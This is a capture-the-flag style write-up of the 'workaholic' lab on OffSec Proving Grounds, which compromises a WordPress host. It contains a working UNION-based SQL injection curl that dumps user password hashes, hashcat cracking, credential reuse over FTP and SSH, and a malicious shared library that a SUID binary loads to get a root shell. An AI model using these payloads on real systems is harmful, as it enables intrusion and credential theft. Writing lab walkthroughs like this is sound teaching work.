Proving Grounds Practice: workaholic
This is a medium‑level lab on OffSec’s Proving Grounds Practice but the community has rated it as Hard. I suppose the challenge leans on careful enumeration and recognising less obvious service behaviour.
Starting with service enumeration to see what’s exposed to us.
sudo nmap -sS -sV -sC -T 4 -p- -Pn -oN nmap_workaholic 192.168.199.229The -sS flag performs a SYN scan, which is already the default when running with sudo, but I like to include it explicitly sometimes. The -sV option gathers version information, while -sC runs Nmap’s default scripts, which include a mix of info‑gathering and basic security checks. I use -T4 to speed things up a bit, and -p- to scan all 65,535 TCP ports instead of just the top 1,000. The -Pn flag skips host discovery and assumes the host is up, which is useful when you know the host is up or in an environment where ping might be blocked. Finally -oN saves the results to a file for reference.
Sometimes while the full scan runs in the background I run a quick top-ports 100 scan to give me something to work on straight away.
└─$ sudo nmap -sS -sV -sC -T 4 -p- -Pn -oN nmap_workaholic 192.168.199.229
[sudo] password for ben:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 16:25 AEST
Nmap scan report for 192.168.199.229
Host is up (0.10s latency).
Not shown: 65505 filtered tcp ports (no-response), 27 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelok so here is our nmap result. once TCP scan is done I’ll run UDP top 20 ports as well.
nmap -sU --top-ports 20 192.168.199.229As you can see we only have few ports open so I tested FTP with anonymous login but access was denied. For SSH at this point we can simply note that it’s open and move on. On port 80, we see an Nginx web server (v1.24.0) running on Ubuntu, serving a WordPress site (v6.7.2).
When I see WordPress in an Nmap scan the first thing that pops into my head is WPScan! so let’s run it and after that we run Gobuster.
wpscan --url http://192.168.199.229 --enumerate u,ap --api-token n0AA2fsKcUHcutaqKzkKi4WP0Ot4DQ5ugRMIuOWMmqgThis command targets a WordPress site, -u enumerates all the users, -ap enumerates all the plugins and -api-token is optional but if you provide one you’ll get access to the vulnerability database lookups and without it WPScan still runs but skips vuln checks. You can sign up and get a few free daily tokens at https://wpscan.com/ I regenerated mine specifically for this lab.
Our scan didn’t detect any plugins or themes. This can happen if WPScan misses them due to directory listing being disabled or plugins hidden behind custom paths. However, we did identify three usernames (admin, charlie, and ted). We’ll add these to our notes and, if needed, keep them in mind for potential brute forcing once enumeration is complete.
Now it’s time for directory enumeration and manual inspection.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.199.229 -x php,txt -t 40 --exclude-length 0The site returns a 301 with length 0 for all the non‑existent paths so I used — exclude-length 0 to filter out those false positives. Since this is a WordPress target I also added -x php,txt to catch common file types. While Gobuster runs in the background, I also explore the site directly with Burp Suite running and capturing traffic, which often reveals parameters, hidden requests, or behaviours that automated tools might miss.
It appears to be a default WordPress installation using the Twenty Twenty‑Five theme, which WPScan did not detect any themes, but the footer makes it clear by showing the text Twenty Twenty‑Five and Designed with WordPress.
As I clicked around the website, Burp Suite captured the requests in the background and it reveals multiple parameters (?p=1, ?page_id=2, ?feed=…). It also shows requests to the Twenty Twenty‑Five theme assets, matching what I saw in the footer. Most importantly, there is a reference to a plugin highlighted in the screenshot, something WPScan did not detect. This highlights the importance of manual inspection.
As expected we got the usual suspects in Gobutser results, and before moving on to wp-content where normally juicy details are, I couldn’t resist and check the login page for weak credentials with usernames that we got as username and password.
The uploads directory returns a 403 and for /plugins I run Gobuster with the Perfectdotexe plugin list, but you can also try the more comprehensive one Kali ships at /usr/share/wordlists/metasploit/wp-plugins.txt
Look what we got there!! We are now confident that the wp-advanced-search plugin is active somewhere in WordPress. A quick google search shows that there are a number of security issues with this particular plugin and Unauthenticated SQL Injection being one that pops up a lot. After researching this further we find the vulnerability with PoC which is fairly recent.
curl "http://192.168.199.229/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users UNION SELECT user_pass FROM wp_users--&f=user_login&type=&e"We can see that the vulnerable parameter `t=` doesn’t have proper sanitisation, and by injecting UNION SELECT user_pass FROM wp_users — we can force the application to return password hashes from the WordPress users table.
Get NullEsc’s stories in your inbox
Join Medium for free to get updates from this writer.
Ok time to put hashcat (or john) to work. Let’s save the phpass hash to file hashes.txt and run hashcat with -m 400 for phpass (WordPress) hash mode.
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt Now we got 2 passwords “chrish20, okadamat17” and 3 usernames. I was hoping i could sign in with ssh now so i tried that first but didn’t work and if you remember we have ftp port open, after trying different combinations I manage to get in with ted okadamat17
Inside the FTP directory we can see the full WordPress installation. The most interesting file here is wp-config.php, which usually contains the database credentials and other sensitive configuration details so let’s download with get wp-config.php and check it out
we can see the database connection details including the DB user and password. Even though MySQL itself isn’t exposed externally(from the Nmap scan), these credentials could be reused by system users. So we try the newly found password again to see whether any of the local accounts share the same password.
ssh charlie@192.168.199.229 and finally we are in!! When I first land on a host, I usually run these few commands to get some initial context before digging deeper into the system or doing anything else.
sudo -l
id
ls -la
find / -perm -u=s -type f 2>/dev/null | grep -v snap
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)' We can clearly spot the odd one out in the binaries “wp-monitor” which is running with its SUID bit set. The SUID permission means the binary executes with the privileges of its owner (in this case root). We can also write to ted’s home directory? that’s even more interesting! now I will copy linpeas over just so we can run that while I’ll check cron jobs, listening port, services running and so on.
Sure enough linpeas also screams ‘Unknown SUID binary!’. Let’s try running it to see what it does, and also use file or strings to observe its behaviour.
It seems like its trying to parse the Nginx access log and look for brute‑force attempts against WordPress logins and then tries to load a shared object file from /home/ted/.lib/libsecurity.so and run a function inside it called init_plugin, but fails because neither exist.
So let’s create those, run the binary and because wp-monitor will execute our libsecurity.so file as root, we should get a root shell.
First we create a file named ‘libsecurity.c’ that defines the missing init_plugin() function.
cat > /home/ted/.lib/libsecurity.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
EOFThen compiling it with gcc -fPIC -shared produces the .so library that wp-monitor will load.
gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.cNow that the shared library is in place, running wp-monitor will execute our code as root. This gives us a root shell and also drops a copy of /bin/bash with the SUID bit set in the /tmp directory.
We did it!! Thank you for reading.
Stay curious, stay kind, and keep learning. Until the next pivot..








